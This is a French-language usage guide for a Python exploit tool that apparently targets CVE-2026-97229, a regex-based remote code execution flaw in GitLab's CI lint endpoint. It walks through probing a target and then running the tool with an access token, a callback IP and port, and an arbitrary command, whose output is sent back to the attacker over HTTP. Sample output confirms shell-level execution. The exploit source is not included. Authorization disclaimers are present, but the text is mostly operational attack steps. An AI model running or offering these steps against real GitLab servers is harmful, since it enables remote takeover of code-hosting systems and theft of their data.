
Exploit Python pour CVE-2026-97229, une RCE par regex dans le lint CI de GitLab. Crée un projet, pousse une configuration CI malveillante, déclenche le point de terminaison de lint et récupère la sortie de commande via un callback HTTP.
CVE-2026-97229 est un exploit externe pour une RCE via regex dans le lint CI de GitLab. Il n'est utilisé que contre une cible GitLab active et avec autorisation. Il crée un projet, pousse une configuration CI malveillante, déclenche le point de terminaison de lint CI et reçoit la sortie de commande via un callback HTTP. Ceci est réservé à la recherche en sécurité autorisée.
CVE-2026-97229 Externe - à utiliser sous votre responsabilité et uniquement pour des tests légaux
##Réservé à un usage de recherche. À utiliser uniquement sur vos propres systèmes ou sur des systèmes pour lesquels vous disposez d'une autorisation écrite.
Cet outil est destiné uniquement à une cible GitLab active. Il ne fonctionnera pas sur une cible inactive, une sauvegarde ou un hôte injoignable.
Prérequis
Enregistrer le fichier
Enregistrez le code de l'exploit sous :
cve97229_ext.py
Créer le fichier de périmètre
Si votre cible est :
https://gitlab.example.local
Créez scope.txt :
echo "gitlab.example.local" > scope.txt
Étape 1 - Vérifier la cible
Exécutez :
python3 cve97229_ext.py --url https://gitlab.example.local --probe-only --token "GITLAB_TOKEN"
Exemple :
python3 cve97229_ext.py --url https://gitlab.example.local --probe-only --token "glpat-AbCdEf1234567890"
Bon résultat :
"gitlab_signal": true
Si la version est visible, vous pouvez voir :
"version": "19.4.0"
Étape 2 - Exécuter contre une cible active
Exécutez :
python3 cve97229_ext.py --url https://gitlab.example.local --scope scope.txt --authorized --token "GITLAB_TOKEN" --callback-host YOUR_IP --callback-port 8000 --command "id"
Exemple :
python3 cve97229_ext.py --url https://gitlab.example.local --scope scope.txt --authorized --token "glpat-AbCdEf1234567890" --callback-host 192.168.1.50 --callback-port 8000 --command "id"
Remplacez :
GITLAB_TOKEN = votre jeton GitLab
YOUR_IP = l'IP de votre machine que la cible peut joindre
Résultat
En cas de succès, vous verrez :
"status": "RCE"
et une sortie comme :
"output": "uid=998(git) gid=998(git) groups=998(git)"
Problèmes courants
out-of-scope :
Corrigez scope.txt.
no-write-path :
Jeton manquant ou invalide.
known-patched :
La version de la cible est corrigée.
no-callback :
La cible n'a pas pu se reconnecter à vous.
Vérifiez YOUR_IP, le pare-feu et l'accès réseau.
Important
La cible doit être active et joignable.